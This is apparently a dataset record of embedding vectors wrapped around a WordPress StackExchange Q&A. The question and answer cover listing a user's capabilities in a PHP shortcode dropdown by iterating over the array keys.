-0.00982666015625,
-0.00446319580078125,
0.00897979736328125,
-0.0308074951171875,
0.021148681640625,
-0.029998779296875,
-0.0240020751953125,
0.002349853515625,
-0.0013628005981445312,
0.004695892333984375,
-0.0116424560546875,
0.045013427734375,
0.01532745361328125,
0.0406494140625,
0.01496124267578125,
-0.01287078857421875,
0.023162841796875,
-0.00983428955078125,
-0.0362548828125,
0.031768798828125,
-0.0183258056640625,
0.01024627685546875,
-0.0004508495330810547,
0.0743408203125,
0.059906005859375,
0.0150909423828125,
-0.00826263427734375,
-0.005809783935546875,
0.025177001953125,
0.003070831298828125,
-0.031341552734375,
-0.051513671875,
0.0273895263671875,
-0.1060791015625,
-0.0215911865234375,
0.04248046875,
0.09259033203125,
0.005588531494140625,
-0.0439453125,
-0.00846099853515625,
0.0562744140625,
-0.0643310546875,
-0.09918212890625,
0.004055023193359375,
-0.0186614990234375,
0.0130767822265625,
-0.00704193115234375,
0.0005083084106445312,
-0.0132293701171875,
0.0092315673828125,
0.009765625,
-0.01158905029296875,
-0.029510498046875,
-0.0294036865234375,
-0.06903076171875,
-0.0460205078125,
-0.0098114013671875,
0.0027923583984375,
0.0002796649932861328,
-0.005977630615234375,
0.04998779296875,
0.008544921875,
-0.047637939453125,
0.004985809326171875,
0.035797119140625,
-0.01398468017578125,
-0.005016326904296875,
-0.007415771484375,
-0.03070068359375,
-0.00948333740234375,
-0.006114959716796875,
0.00447845458984375,
0.006084442138671875,
0.008880615234375,
0.0011682510375976562,
-0.018402099609375,
0.0037937164306640625,
0.0084228515625,
0.059295654296875,
0.0236663818359375,
0.04193115234375,
0.05389404296875,
-0.01271820068359375,
-0.022125244140625,
0.0171661376953125,
-0.0272064208984375,
0.034759521484375,
0.0330810546875,
-0.039459228515625,
0.0223388671875,
-0.003917694091796875,
-0.01910400390625,
-0.0002206563949584961,
0.0242462158203125,
-0.0163116455078125,
0.00934600830078125,
-0.036712646484375,
-0.042083740234375,
-0.0127105712890625,
0.036376953125,
-0.02532958984375,
0.0169677734375,
0.0209503173828125,
-0.004547119140625,
0.00373077392578125,
-0.03814697265625,
-0.033050537109375,
-0.037811279296875,
0.03582763671875,
-0.0282440185546875,
-0.033721923828125,
-0.01255035400390625,
-0.0028476715087890625,
0.00469970703125,
0.0426025390625,
0.0111083984375,
-0.0281524658203125,
-0.0257415771484375,
-0.0038700103759765625,
-0.017059326171875,
-0.041259765625,
0.0094757080078125,
-0.0016307830810546875,
-0.03155517578125,
0.05657958984375,
0.014556884765625,
0.01430511474609375,
-0.007503509521484375,
0.01238250732421875,
-0.003208160400390625,
-0.037078857421875,
0.0164947509765625,
-0.035614013671875,
-0.00923919677734375,
-0.00797271728515625,
-0.00646209716796875,
-0.041534423828125,
0.01139068603515625,
-0.025634765625,
-0.01157379150390625,
-0.01153564453125,
0.0036754608154296875,
0.0262451171875,
0.01137542724609375,
-0.01094818115234375,
-0.0156707763671875,
0.0198822021484375,
-0.01165771484375,
0.01556396484375,
0.0032558441162109375,
0.0048065185546875,
0.03094482421875,
0.004917144775390625,
0.01294708251953125,
-0.0126953125,
0.002727508544921875,
0.006084442138671875,
-0.012115478515625,
0.003940582275390625,
-0.032196044921875,
-0.0307769775390625,
-0.0036373138427734375,
-0.0257720947265625,
-0.09149169921875,
-0.0660400390625,
-0.01678466796875,
-0.0193023681640625,
-0.009765625,
0.0176544189453125,
-0.057403564453125,
-0.05572509765625,
-0.004322052001953125,
0.01611328125,
-0.01084136962890625,
0.004730224609375,
0.01861572265625,
0.0296783447265625,
-0.0159912109375,
0.0224761962890625,
0.00641632080078125,
0.02008056640625,
0.0235137939453125,
0.0224761962890625,
-0.0208740234375,
-0.04339599609375,
0.10650634765625,
-0.01788330078125,
0.05853271484375,
-0.0478515625,
0.08026123046875,
-0.015655517578125,
-0.01922607421875,
0.057830810546875,
0.013763427734375,
-0.0738525390625,
0.019256591796875,
-0.014739990234375,
-0.0025577545166015625,
-0.00917816162109375,
0.0028705596923828125,
-0.051788330078125,
0.0682373046875,
0.017791748046875,
0.0159454345703125,
-0.00862884521484375,
-0.0035305023193359375,
0.068115234375,
0.045623779296875,
0.0011739730834960938,
0.0015058517456054688,
0.0190277099609375,
-0.01010894775390625,
0.00771331787109375,
0.020721435546875,
-0.0298919677734375,
0.02459716796875,
-0.019561767578125,
-0.039306640625,
0.0130157470703125,
-0.00989532470703125,
0.041717529296875,
0.0022869110107421875,
-0.03155517578125,
-0.025146484375,
-0.00705718994140625,
0.02288818359375,
0.005031585693359375,
0.0019245147705078125,
0.0059356689453125,
-0.01507568359375,
-0.006435394287109375,
-0.01062774658203125,
0.00586700439453125,
-0.0274200439453125,
-0.0233612060546875,
0.083251953125,
0.0310516357421875,
0.0213165283203125,
0.0010023117065429688,
0.08489990234375,
0.09820556640625,
0.00902557373046875,
-0.058990478515625,
0.01058197021484375,
-0.022491455078125,
0.07464599609375,
-0.006267547607421875,
-0.0267486572265625,
0.0246429443359375,
0.052276611328125,
0.0201416015625,
-0.019378662109375,
-0.01465606689453125,
0.0191650390625,
0.018768310546875,
0.026031494140625,
0.01097869873046875,
-0.006061553955078125,
0.009124755859375,
-0.01898193359375,
0.07598876953125,
0.020599365234375,
-0.053680419921875,
-0.036895751953125,
-0.0303955078125,
0.037872314453125,
-0.0118865966796875,
-0.0306549072265625,
0.05816650390625,
-0.00988006591796875,
0.051025390625,
0.0006818771362304688,
-0.02264404296875,
0.020050048828125,
0.026611328125,
0.0106353759765625,
-0.0263824462890625,
-0.00372314453125,
-0.0709228515625,
0.004741668701171875,
-0.0302276611328125,
-0.0113525390625,
0.06414794921875,
-0.025665283203125,
0.04742431640625,
-0.0286712646484375,
-0.0146026611328125,
-0.03271484375,
0.0134124755859375,
0.044891357421875,
0.03521728515625,
-0.0205841064453125,
-0.037445068359375,
-0.0499267578125,
-0.0218658447265625,
-0.004131317138671875,
-0.0142822265625,
-0.01384735107421875,
0.003940582275390625,
0.032440185546875,
0.008941650390625,
0.006786346435546875,
-0.05377197265625,
-0.0301971435546875,
0.00920867919921875,
0.0428466796875,
0.0201873779296875,
0.002330780029296875,
0.0518798828125,
-0.03302001953125,
0.03094482421875,
0.00926971435546875,
0.032135009765625,
0.01302337646484375,
-0.037353515625,
0.017333984375,
-0.0010242462158203125,
-0.0011167526245117188,
-0.0164337158203125,
0.0321044921875,
-0.06353759765625,
-0.0169219970703125,
-0.0204315185546875,
-0.032958984375,
0.060943603515625,
0.0078125,
-0.0264892578125,
-0.0301361083984375,
0.08642578125,
-0.01323699951171875,
-0.004138946533203125,
-0.0067291259765625,
0.02728271484375,
-0.0204315185546875,
-0.0207672119140625,
0.006683349609375,
-0.006488800048828125,
-0.00507354736328125,
0.0211029052734375,
0.0228424072265625,
0.008392333984375,
0.057220458984375,
0.0037174224853515625,
0.045684814453125,
0.0246124267578125,
0.034027099609375,
0.029449462890625,
0.0408935546875,
-0.01568603515625,
-0.06744384765625,
0.0231475830078125,
0.004421234130859375,
-0.038421630859375,
0.00493621826171875,
-0.02728271484375,
0.04876708984375,
0.0233917236328125,
0.0576171875,
-0.0704345703125,
0.04327392578125,
0.0142669677734375,
-0.0250701904296875,
0.042327880859375,
-0.018218994140625,
0.016510009765625,
-0.037322998046875,
0.061065673828125,
0.049713134765625,
0.017669677734375,
0.0187530517578125,
-0.003986358642578125,
-0.0283050537109375,
-0.00870513916015625,
-0.005153656005859375,
0.01165008544921875,
-0.01082611083984375,
0.037322998046875,
0.012115478515625,
0.0274810791015625,
0.00946044921875,
0.01061248779296875,
0.0246429443359375,
-0.033966064453125,
-0.040252685546875,
0.01224517822265625,
0.0015821456909179688,
-0.0400390625,
0.05084228515625,
-0.003997802734375,
0.0279083251953125,
0.0439453125,
-0.00839996337890625,
0.01522064208984375,
0.00873565673828125,
-0.01297760009765625,
-0.008056640625,
-0.0143585205078125,
0.0229949951171875,
0.0109405517578125,
-0.06622314453125,
0.0167388916015625,
-0.03741455078125,
-0.00829315185546875,
-0.017913818359375,
0.0009617805480957031,
0.0782470703125,
-0.036895751953125,
-0.01419830322265625,
0.025726318359375,
0.0292205810546875,
-0.0215911865234375,
-0.034332275390625,
0.01140594482421875,
-0.0297088623046875,
0.026153564453125,
-0.0198974609375,
0.01244354248046875,
-0.00368499755859375,
-0.036102294921875,
-0.021331787109375,
0.0679931640625,
-0.01910400390625,
-0.01922607421875,
0.01215362548828125,
0.037384033203125,
-0.023681640625,
0.0284576416015625,
-0.0229034423828125,
0.029327392578125,
-0.024810791015625,
0.0234832763671875,
-0.0474853515625,
0.004291534423828125,
0.0015964508056640625,
0.02313232421875,
-0.00478363037109375,
0.00838470458984375,
0.01349639892578125,
-0.01934814453125,
-0.01027679443359375,
0.008636474609375,
-0.01922607421875,
0.0191497802734375,
0.024871826171875,
0.032958984375,
0.07086181640625,
-0.01334381103515625,
0.035125732421875,
-0.002166748046875,
0.006969451904296875,
0.045623779296875,
-0.0003905296325683594,
-0.0204925537109375,
0.00982666015625,
0.0142364501953125,
-0.066650390625,
0.026641845703125,
0.0290679931640625,
0.024627685546875,
-0.0169525146484375,
0.056976318359375,
0.0283660888671875,
-0.0173187255859375,
0.018890380859375,
-0.048126220703125,
0.033050537109375,
-0.01397705078125,
-0.007518768310546875,
0.0208892822265625,
0.00799560546875,
0.023193359375,
-0.0213470458984375,
-0.0281524658203125,
0.0117034912109375,
0.01177215576171875,
0.040252685546875,
0.024505615234375,
0.039276123046875,
-0.0467529296875,
-0.041473388671875,
0.036834716796875,
0.061187744140625,
-0.0161590576171875,
-0.0181884765625,
0.00940704345703125,
0.013824462890625,
0.0357666015625,
0.0024433135986328125,
0.072998046875,
-0.0080108642578125,
-0.004421234130859375,
-0.016143798828125,
-0.0018110275268554688,
0.02313232421875,
0.014404296875,
-0.0009698867797851562,
0.0009198188781738281,
0.0014019012451171875,
-0.004291534423828125,
-0.010223388671875,
0.008087158203125,
-0.0135040283203125,
0.0123138427734375,
-0.0004305839538574219,
0.02264404296875,
-0.02789306640625,
-0.00026035308837890625,
-0.012725830078125,
0.038116455078125,
-0.0183563232421875,
0.02569580078125,
-0.04541015625,
-0.037750244140625,
0.004119873046875,
0.033233642578125,
0.0213775634765625,
0.0247650146484375,
0.046295166015625,
0.053009033203125,
0.00521087646484375,
0.0011701583862304688,
-0.0013570785522460938,
-0.0205078125,
-0.038604736328125,
-0.042510986328125,
0.06256103515625,
0.0528564453125,
0.03057861328125,
0.018402099609375,
0.017059326171875,
0.052886962890625,
-0.032623291015625,
0.0272064208984375,
-0.0282135009765625,
-0.062103271484375,
0.06268310546875,
-0.031219482421875,
0.1507568359375,
-0.0246429443359375,
-0.06622314453125,
-0.038848876953125,
-0.0007476806640625,
0.0174102783203125,
0.02606201171875,
0.037628173828125,
0.0007104873657226562,
0.0182037353515625,
-0.033447265625,
0.002071380615234375,
-0.0007472038269042969,
0.00027632713317871094,
-0.02178955078125,
-0.00033092498779296875,
0.0303802490234375,
-0.017822265625,
0.01459503173828125,
0.00449371337890625,
0.00357818603515625,
0.0322265625,
0.019134521484375,
0.05902099609375,
-0.0222930908203125,
-0.000507354736328125,
0.033538818359375,
-0.013580322265625,
0.0248260498046875,
0.01494598388671875,
-0.0011234283447265625,
-0.00028824806213378906,
0.0222320556640625,
-0.025482177734375,
-0.06182861328125,
-0.0083160400390625,
0.006072998046875,
-0.0247344970703125,
0.042877197265625,
-0.05767822265625,
0.013153076171875,
-0.028564453125,
0.033721923828125,
-0.02130126953125,
-0.040924072265625,
-0.0675048828125,
-0.01251220703125,
0.0499267578125,
0.040252685546875,
-0.0171966552734375,
0.03692626953125,
-0.01541900634765625,
-0.016754150390625,
0.03485107421875,
-0.05926513671875,
0.03887939453125,
0.0219573974609375,
-0.0338134765625,
0.0005383491516113281,
-0.0035648345947265625,
-0.02166748046875,
0.052734375,
-0.013153076171875,
0.0263671875,
0.01483917236328125,
-0.0301513671875,
-0.037628173828125,
-0.0204620361328125,
0.005115509033203125,
-0.019378662109375,
0.00592803955078125,
-0.01158905029296875,
-0.0006327629089355469,
0.0006136894226074219,
-0.0123748779296875,
0.006565093994140625,
0.0259857177734375,
-0.034210205078125,
-0.006198883056640625,
0.007602691650390625,
-0.040069580078125,
-0.01445770263671875,
0.0181121826171875,
0.005619049072265625,
-0.0228118896484375,
-0.02532958984375,
0.0227813720703125,
-0.042144775390625,
0.033355712890625,
-0.0361328125,
0.05999755859375,
-0.03485107421875,
0.031524658203125,
-0.03521728515625,
-0.0382080078125,
-0.039306640625,
0.04510498046875,
-0.042633056640625,
0.00336456298828125,
0.032989501953125,
-0.01340484619140625,
-0.003406524658203125,
-0.043212890625,
-0.00949859619140625,
0.0087127685546875,
-0.018524169921875,
-0.007801055908203125,
-0.007610321044921875,
0.0092620849609375,
-0.017547607421875,
-0.044769287109375,
0.0240325927734375,
-0.0477294921875,
-0.036651611328125,
0.042877197265625,
-0.00542449951171875,
0.04083251953125,
-0.00959014892578125,
-0.01763916015625,
0.0243377685546875,
0.0258941650390625,
-0.0266265869140625,
0.0033969879150390625,
-0.0127716064453125,
0.0031185150146484375,
-0.028961181640625,
-0.01447296142578125,
0.00334930419921875,
-0.02716064453125,
0.0021820068359375,
0.018341064453125,
-0.00325775146484375,
0.043609619140625,
-0.008819580078125,
-0.0313720703125,
0.00775909423828125,
0.007965087890625,
0.0198516845703125,
-0.0216064453125,
0.010589599609375,
0.0266265869140625,
0.04473876953125,
-0.00559234619140625,
0.05657958984375,
0.01947021484375,
-0.01050567626953125,
0.00971221923828125,
-0.0406494140625,
0.01160430908203125,
-0.013946533203125,
0.04339599609375,
-0.025482177734375,
-0.0018749237060546875,
-0.01358795166015625,
-0.04150390625,
-0.032867431640625,
0.0335693359375,
-0.034332275390625,
-0.0036373138427734375,
-0.06158447265625,
-0.01207733154296875,
-0.00415802001953125,
-0.0158233642578125,
0.016143798828125,
-0.01397705078125,
-0.0290069580078125,
-0.0003299713134765625,
-0.0101776123046875,
-0.00004094839096069336,
-0.017425537109375,
-0.06280517578125,
0.023406982421875,
-0.01357269287109375,
-0.0027866363525390625,
0.042694091796875,
0.0152587890625,
0.004146575927734375,
0.105712890625,
-0.01245880126953125,
0.06036376953125,
-0.06317138671875,
-0.0220794677734375,
0.00713348388671875,
0.024505615234375,
-0.0244140625,
0.0098114013671875,
0.01273345947265625,
0.0168304443359375,
-0.01873779296875,
0.053009033203125,
0.06842041015625,
-0.0238800048828125,
-0.02850341796875,
-0.03179931640625,
-0.0256500244140625,
0.050018310546875,
-0.00916290283203125,
0.016387939453125,
0.00334930419921875,
0.0140380859375,
0.056671142578125,
-0.03741455078125,
0.01387786865234375,
0.04962158203125,
0.031585693359375,
-0.0077972412109375,
-0.0038356781005859375,
0.015655517578125,
0.03582763671875,
-0.0093536376953125
] |
30ae4a8887e187d01646361958b24ef315dadbd3
|
Wordpress Stackexchange
Q: Listing all capabilities in dropdown is returning boolean Trying to put a list of all possible caps in a dropdown. I can only get it to return 1s (boolean true). If I use var_dump($user->allcaps); it does produce the actual cap names, but when I plug this into my function, it goes to boolean. Have tried using various settype statements; nothing has worked. Here's the function currently:
add_shortcode('capsdropdown', 'sc_capsdropdown');
function sc_capsdropdown($attr) {
$user = get_user_by('id', '1');
$capslist = $user->allcaps;
$dropdown = '<select>';
foreach($capslist as $cap){
$dropdown .= '<option value="'.$cap.'">'.$cap.'</option>';
}
$dropdown .= '</select>';
return $dropdown;
}
Resolved. This works:
foreach($capslist as $cap=>$caps){ $dropdown .= '<option value="'.$cap.'">'.$cap.'</option>'; }
A: Solved with this Answer at Stack Overflow.
Each Array Key was the actual name of the capability [...] You were searching for the capabilities by name, and since you were only seeing 1s in the output, I figured what you were looking for was in the keys.
foreach($capslist as $cap=>$caps){
$dropdown .= '<option value="'.$cap.'">'.$cap.'</option>';
}
|
Q: Listing all capabilities in dropdown is returning boolean Trying to put a list of all possible caps in a dropdown. I can only get it to return 1s (boolean true). If I use var_dump($user->allcaps); it does produce the actual cap names, but when I plug this into my function, it goes to boolean. Have tried using various settype statements; nothing has worked. Here's the function currently:
add_shortcode('capsdropdown', 'sc_capsdropdown');
function sc_capsdropdown($attr) {
$user = get_user_by('id', '1');
$capslist = $user->allcaps;
$dropdown = '<select>';
foreach($capslist as $cap){
$dropdown .= '<option value="'.$cap.'">'.$cap.'</option>';
}
$dropdown .= '</select>';
return $dropdown;
}
Resolved. This works:
foreach($capslist as $cap=>$caps){ $dropdown .= '<option value="'.$cap.'">'.$cap.'</option>'; }
A: Solved with this Answer at Stack Overflow.
Each Array Key was the actual name of the capability [...] You were searching for the capabilities by name, and since you were only seeing 1s in the output, I figured what you were looking for was in the keys.
foreach($capslist as $cap=>$caps){
$dropdown .= '<option value="'.$cap.'">'.$cap.'</option>';
}
|
wordpress
|
{
"language": "en",
"length": 163,
"provenance": "stackexchange_00019.jsonl.gz:437904",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116823"
}
|
[
-0.01168060302734375,
-0.016815185546875,
-0.00688934326171875,
-0.0037555694580078125,
-0.01087188720703125,
-0.013153076171875,
0.018768310546875,
-0.0014743804931640625,
0.045257568359375,
0.0235748291015625,
-0.01149749755859375,
-0.039154052734375,
-0.019195556640625,
-0.02734375,
-0.05029296875,
-0.045867919921875,
0.044281005859375,
0.0188751220703125,
0.0007410049438476562,
-0.0016317367553710938,
0.00817108154296875,
0.034912109375,
-0.07049560546875,
0.09600830078125,
0.056610107421875,
-0.10540771484375,
-0.00021505355834960938,
-0.040771484375,
0.01177978515625,
-0.033538818359375,
0.01525115966796875,
0.06732177734375,
0.01181793212890625,
-0.0097198486328125,
0.03759765625,
0.0362548828125,
0.042388916015625,
-0.0169219970703125,
0.01024627685546875,
0.03302001953125,
0.033172607421875,
-0.04046630859375,
-0.0147857666015625,
0.01495361328125,
-0.0107269287109375,
-0.03814697265625,
0.043670654296875,
-0.031951904296875,
-0.0028228759765625,
-0.005199432373046875,
0.004848480224609375,
0.045379638671875,
0.01450347900390625,
-0.0011234283447265625,
0.00821685791015625,
0.01399993896484375,
-0.02740478515625,
0.01457977294921875,
0.0188446044921875,
0.076416015625,
-0.002895355224609375,
0.0141754150390625,
-0.016143798828125,
-0.0787353515625,
-0.01551055908203125,
0.024688720703125,
0.05059814453125,
0.007843017578125,
-0.0268707275390625,
-0.0215606689453125,
-0.0007166862487792969,
-0.00762939453125,
0.012908935546875,
-0.0204315185546875,
-0.04132080078125,
-0.0128326416015625,
0.00626373291015625,
-0.0267181396484375,
0.0165863037109375,
-0.033935546875,
0.0097808837890625,
-0.017364501953125,
-0.0015249252319335938,
0.0198822021484375,
-0.022247314453125,
0.01383209228515625,
-0.005443572998046875,
-0.00939178466796875,
0.0099334716796875,
0.0299224853515625,
0.001018524169921875,
-0.013885498046875,
0.036468505859375,
0.056060791015625,
-0.00913238525390625,
-0.01158905029296875,
0.0188140869140625,
0.02520751953125,
0.00553131103515625,
-0.0029850006103515625,
0.01151275634765625,
-0.041168212890625,
0.0117645263671875,
-0.02496337890625,
0.0091552734375,
0.0022792816162109375,
-0.023895263671875,
0.0092926025390625,
0.054931640625,
0.041961669921875,
-0.005092620849609375,
0.009490966796875,
-0.0305938720703125,
0.00821685791015625,
-0.023712158203125,
-0.015625,
-0.07012939453125,
-0.0022182464599609375,
-0.00955963134765625,
-0.033782958984375,
0.0252685546875,
0.04583740234375,
0.00554656982421875,
-0.0211181640625,
-0.028656005859375,
-0.0019855499267578125,
-0.0030364990234375,
-0.06378173828125,
0.01093292236328125,
0.02716064453125,
-0.037567138671875,
0.01561737060546875,
0.055419921875,
-0.0049285888671875,
-0.01262664794921875,
-0.012786865234375,
-0.0127105712890625,
-0.03240966796875,
0.006015777587890625,
0.0126495361328125,
0.03363037109375,
-0.0218963623046875,
0.01953125,
0.0198516845703125,
-0.00859832763671875,
0.0212860107421875,
0.035186767578125,
0.00525665283203125,
-0.00713348388671875,
-0.07843017578125,
0.00897216796875,
-0.0196685791015625,
0.0213165283203125,
-0.0152587890625,
-0.0225372314453125,
0.003997802734375,
-0.004444122314453125,
-0.0124969482421875,
-0.0218353271484375,
-0.00986480712890625,
0.0154266357421875,
-0.020111083984375,
-0.0482177734375,
-0.0124969482421875,
-0.025909423828125,
0.0027217864990234375,
0.0075836181640625,
0.00994110107421875,
0.0194854736328125,
0.049468994140625,
-0.0004107952117919922,
-0.01100921630859375,
0.0017576217651367188,
-0.0153350830078125,
-0.01194000244140625,
-0.005634307861328125,
-0.0008492469787597656,
0.03106689453125,
0.01178741455078125,
-0.026702880859375,
-0.02288818359375,
-0.041778564453125,
0.041778564453125,
-0.019927978515625,
-0.0618896484375,
0.047943115234375,
0.007228851318359375,
0.086181640625,
0.01453399658203125,
0.02032470703125,
0.021209716796875,
0.018829345703125,
0.00505828857421875,
-0.036529541015625,
0.0015087127685546875,
-0.007579803466796875,
-0.0079345703125,
-0.007274627685546875,
-0.005229949951171875,
0.0330810546875,
0.01580810546875,
-0.0311126708984375,
0.0245208740234375,
-0.0233001708984375,
-0.035797119140625,
0.0011463165283203125,
-0.022308349609375,
0.0116424560546875,
-0.0211029052734375,
0.0198974609375,
0.006809234619140625,
0.01465606689453125,
-0.040435791015625,
0.0513916015625,
0.01751708984375,
0.01218414306640625,
-0.005428314208984375,
0.03839111328125,
-0.01012420654296875,
0.0128631591796875,
0.0196533203125,
-0.04083251953125,
0.0189971923828125,
0.0682373046875,
0.0241851806640625,
-0.015289306640625,
-0.0019311904907226562,
-0.014434814453125,
0.034454345703125,
0.0093536376953125,
-0.00238800048828125,
0.0019311904907226562,
0.0256805419921875,
0.044189453125,
-0.04119873046875,
-0.032012939453125,
-0.0284881591796875,
-0.053680419921875,
0.013763427734375,
0.06658935546875,
0.049560546875,
0.071533203125,
0.018157958984375,
-0.017822265625,
0.11151123046875,
-0.005374908447265625,
0.0281982421875,
-0.03887939453125,
-0.00829315185546875,
0.0171356201171875,
0.04608154296875,
0.00911712646484375,
-0.002643585205078125,
0.0032291412353515625,
0.03656005859375,
-0.00542449951171875,
-0.064697265625,
0.017425537109375,
-0.00823211669921875,
-0.0234527587890625,
0.00008028745651245117,
-0.058990478515625,
0.0364990234375,
-0.060455322265625,
0.06463623046875,
-0.00484466552734375,
0.00571441650390625,
0.002197265625,
-0.0458984375,
0.035919189453125,
0.0169219970703125,
-0.03753662109375,
-0.0012521743774414062,
0.03753662109375,
0.0687255859375,
-0.0546875,
-0.03778076171875,
-0.0126953125,
0.0171661376953125,
0.0116729736328125,
0.0185546875,
0.0616455078125,
-0.006649017333984375,
-0.010772705078125,
0.0027141571044921875,
-0.003910064697265625,
-0.0196685791015625,
0.0187835693359375,
0.0170135498046875,
0.0447998046875,
0.0196990966796875,
0.0697021484375,
0.0237884521484375,
0.0240936279296875,
0.01493072509765625,
0.02581787109375,
0.049072265625,
-0.0264739990234375,
0.0112457275390625,
0.0012569427490234375,
0.02093505859375,
0.0638427734375,
0.0192413330078125,
-0.0262298583984375,
-0.002536773681640625,
-0.020233154296875,
-0.006877899169921875,
0.0264739990234375,
0.01265716552734375,
-0.041015625,
0.0009145736694335938,
0.03533935546875,
0.0236053466796875,
0.04156494140625,
0.0176849365234375,
-0.016143798828125,
-0.00481414794921875,
0.034912109375,
-0.0302886962890625,
-0.05804443359375,
0.0689697265625,
-0.0213775634765625,
0.0131683349609375,
-0.006870269775390625,
-0.0044708251953125,
-0.037811279296875,
-0.00543212890625,
0.002834320068359375,
-0.0004203319549560547,
-0.008209228515625,
-0.023223876953125,
-0.0194854736328125,
-0.047637939453125,
-0.0264892578125,
-0.005397796630859375,
-0.004856109619140625,
0.007122039794921875,
0.084228515625,
0.021484375,
-0.027099609375,
0.0157012939453125,
0.00135040283203125,
-0.032867431640625,
0.0012388229370117188,
0.05572509765625,
-0.04608154296875,
-0.0159912109375,
0.00399017333984375,
-0.020751953125,
0.003391265869140625,
-0.01715087890625,
-0.013824462890625,
-0.0182647705078125,
0.0114593505859375,
0.035308837890625,
-0.0199737548828125,
-0.01342010498046875,
0.051605224609375,
0.0538330078125,
0.0037403106689453125,
-0.0178985595703125,
-0.0035991668701171875,
-0.03369140625,
0.0025634765625,
0.0161590576171875,
-0.0130767822265625,
-0.009307861328125,
0.0098724365234375,
-0.0042877197265625,
0.0139312744140625,
0.0047149658203125,
-0.042205810546875,
-0.0308990478515625,
0.006443023681640625,
0.0239410400390625,
0.0242462158203125,
0.0097198486328125,
-0.0293426513671875,
0.01532745361328125,
0.01110076904296875,
0.0270538330078125,
0.01076507568359375,
0.0019063949584960938,
0.0034427642822265625,
-0.07427978515625,
0.050445556640625,
-0.0203399658203125,
-0.00392913818359375,
-0.0438232421875,
-0.034271240234375,
-0.001682281494140625,
0.1005859375,
-0.040191650390625,
-0.00428009033203125,
0.00960540771484375,
0.00199127197265625,
-0.0173492431640625,
0.0280609130859375,
-0.0672607421875,
0.0193634033203125,
-0.0787353515625,
-0.01519012451171875,
-0.0022144317626953125,
-0.05023193359375,
-0.0020275115966796875,
-0.0792236328125,
-0.049652099609375,
-0.0306549072265625,
0.0248870849609375,
-0.032073974609375,
0.0111083984375,
-0.0012731552124023438,
0.00949859619140625,
-0.036346435546875,
-0.004573822021484375,
-0.044158935546875,
-0.049530029296875,
-0.017333984375,
0.040283203125,
0.05810546875,
-0.0004513263702392578,
-0.0140380859375,
-0.02734375,
0.04986572265625,
0.01080322265625,
-0.0161590576171875,
0.023529052734375,
0.00012862682342529297,
-0.0015087127685546875,
-0.008819580078125,
-0.005096435546875,
-0.0181884765625,
-0.01519775390625,
-0.01056671142578125,
0.00038552284240722656,
-0.0089111328125,
-0.0400390625,
-0.01360321044921875,
-0.00913238525390625,
-0.0204620361328125,
-0.052642822265625,
-0.0143585205078125,
-0.01424407958984375,
0.0095367431640625,
-0.021697998046875,
-0.017425537109375,
-0.01007080078125,
-0.0665283203125,
0.0400390625,
-0.031463623046875,
-0.009246826171875,
-0.013916015625,
0.06085205078125,
0.01044464111328125,
-0.023834228515625,
-0.01494598388671875,
-0.0157012939453125,
0.037017822265625,
0.013458251953125,
0.035675048828125,
0.0274505615234375,
-0.00323486328125,
0.00394439697265625,
0.02166748046875,
0.041412353515625,
-0.047271728515625,
0.018951416015625,
0.01544952392578125,
0.0197906494140625,
-0.001926422119140625,
0.056365966796875,
-0.0170135498046875,
-0.016876220703125,
0.006103515625,
-0.0088348388671875,
0.0168914794921875,
0.018157958984375,
0.00551605224609375,
0.014862060546875,
-0.0005903244018554688,
-0.050872802734375,
0.0236663818359375,
-0.001361846923828125,
-0.00791168212890625,
0.01983642578125,
0.009429931640625,
-8.344650268554688e-7,
-0.01519775390625,
0.010101318359375,
0.0003609657287597656,
-0.001529693603515625,
-0.0035037994384765625,
0.0482177734375,
-0.04669189453125,
0.01393890380859375,
-0.0065460205078125,
-0.013763427734375,
0.057708740234375,
-0.0116729736328125,
-0.07672119140625,
0.053985595703125,
-0.0185394287109375,
0.0017309188842773438,
0.0195770263671875,
0.03192138671875,
-0.0018701553344726562,
0.032623291015625,
0.0238494873046875,
0.006427764892578125,
0.043701171875,
0.045623779296875,
-0.0024890899658203125,
0.0147705078125,
-0.00235748291015625,
-0.016845703125,
0.0000014901161193847656,
0.031280517578125,
0.0155487060546875,
-0.001262664794921875,
-0.017578125,
0.0012121200561523438,
0.0595703125,
-0.020538330078125,
0.0263214111328125,
0.0062713623046875,
-0.0135650634765625,
-0.039306640625,
0.01090240478515625,
-0.054656982421875,
-0.043487548828125,
0.054229736328125,
0.057708740234375,
0.003955841064453125,
-0.0036220550537109375,
-0.0167999267578125,
0.01168060302734375,
-0.01468658447265625,
0.06268310546875,
0.0086669921875,
-0.037841796875,
-0.05206298828125,
-0.037109375,
0.0212554931640625,
-0.0229949951171875,
0.031524658203125,
-0.039642333984375,
0.0090789794921875,
-0.0447998046875,
-0.0270233154296875,
-0.039154052734375,
-0.0291595458984375,
-0.0001728534698486328,
-0.043853759765625,
-0.015289306640625,
-0.0030670166015625,
-0.0106048583984375,
-0.0153350830078125,
-0.0045166015625,
-0.037689208984375,
0.039154052734375,
-0.0269622802734375,
0.0404052734375,
-0.03021240234375,
-0.01378631591796875,
-0.06378173828125,
0.0035800933837890625,
0.029266357421875,
0.041473388671875,
-0.037750244140625,
0.00018715858459472656,
-0.021759033203125,
0.0166473388671875,
0.0364990234375,
-0.06622314453125,
-0.003368377685546875,
-0.036346435546875,
-0.00345611572265625,
0.016937255859375,
0.0255126953125,
0.026580810546875,
0.008636474609375,
0.004886627197265625,
-0.0309906005859375,
0.0281829833984375,
-0.03204345703125,
0.051116943359375,
-0.0107269287109375,
0.0274810791015625,
-0.0252838134765625,
0.01311492919921875,
0.0100860595703125,
-0.0018987655639648438,
0.006671905517578125,
-0.021209716796875,
-0.040618896484375,
-0.038665771484375,
0.01300048828125,
0.0300750732421875,
0.0439453125,
-0.016632080078125,
0.034698486328125,
0.0199432373046875,
0.01312255859375,
-0.0037212371826171875,
-0.038665771484375,
0.005828857421875,
-0.003070831298828125,
0.041229248046875,
-0.0234832763671875,
0.0165863037109375,
0.0023097991943359375,
-0.0285797119140625,
0.036651611328125,
-0.0204620361328125,
0.0281829833984375,
0.00864410400390625,
-0.0236053466796875,
0.033935546875,
0.039520263671875,
-0.040374755859375,
0.0005202293395996094,
0.0197296142578125,
-0.01523590087890625,
-0.0108642578125,
0.01491546630859375,
-0.016693115234375,
0.01378631591796875,
0.06787109375,
-0.00440216064453125,
-0.0506591796875,
0.0253448486328125,
-0.055511474609375,
0.021942138671875,
0.05181884765625,
0.06451416015625,
-0.0675048828125,
0.0063018798828125,
0.026214599609375,
-0.040008544921875,
0.0010728836059570312,
-0.026214599609375,
